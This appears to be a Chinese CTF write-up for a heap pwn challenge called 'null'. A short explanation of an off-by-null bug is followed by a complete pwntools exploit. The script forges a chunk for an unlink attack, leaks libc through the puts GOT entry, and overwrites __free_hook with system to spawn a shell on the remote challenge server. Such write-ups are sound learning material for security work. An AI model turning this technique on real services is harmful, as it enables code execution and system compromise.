绿城杯 null

Posted 2021-10-22 Nullan

题目特征

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思路

j8题不给libc恶心人，平时也没有用libcsearcher的习惯，这道题给了堆存储的数组，read_input这里有个洞off by null，多申请0x8然后可以覆盖pre_inuse位，那就用unlink来打，修改free_hook。

# -*- coding: utf-8 -*-
from pwn import *
elf=ELF('./1')
p=remote('82.157.5.28',51004)
libc=ELF('libc6_2.23-0ubuntu11.2_amd64.so')
context.log_level='debug'

def alloc(idx,size,content):
    p.sendlineafter('Your choice :','1')
    p.sendlineafter('Index:',str(idx))
    p.sendlineafter('Size of Heap : ',str(size))
    p.sendlineafter('Content?:',str(content))


def delete(index):  
   p.sendlineafter('Your choice :','2')  
   p.sendlineafter('Index:',str(index))  
  
def edit(index,content):  
   p.sendlineafter('Your choice :','3')  
   p.sendlineafter('Index:',str(index))  
   p.sendafter('Content?:',content)  

def show(index):
   p.sendlineafter('Your choice :','4')
   p.sendlineafter('Index :',str(index)) 



target = 0x602120

alloc(0,0x48,'aaaa')
alloc(1,0x80,'bbbb')
alloc(2,0x80,'cccc')
payload = p64(0)+p64(0x41)
payload += p64(target-0x18)+p64(target-0x10)
payload += 'a' *0x20
payload += p64(0x40)+'\\x90'
edit(0,payload)
delete(1)

delete(1)
edit(0,0x18*'a'+p64(0x602120)+p64(0)+p64(elf.got['puts']))
show(2)
libc.address=u64(p.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-libc.sym['puts']
print hex(libc.address)
pause()
edit(0,p64(libc.sym['__free_hook']))
edit(0,p64(libc.sym['system']))
alloc(3,0x20,'/bin/sh\\x00')
delete(3)
p.interactive()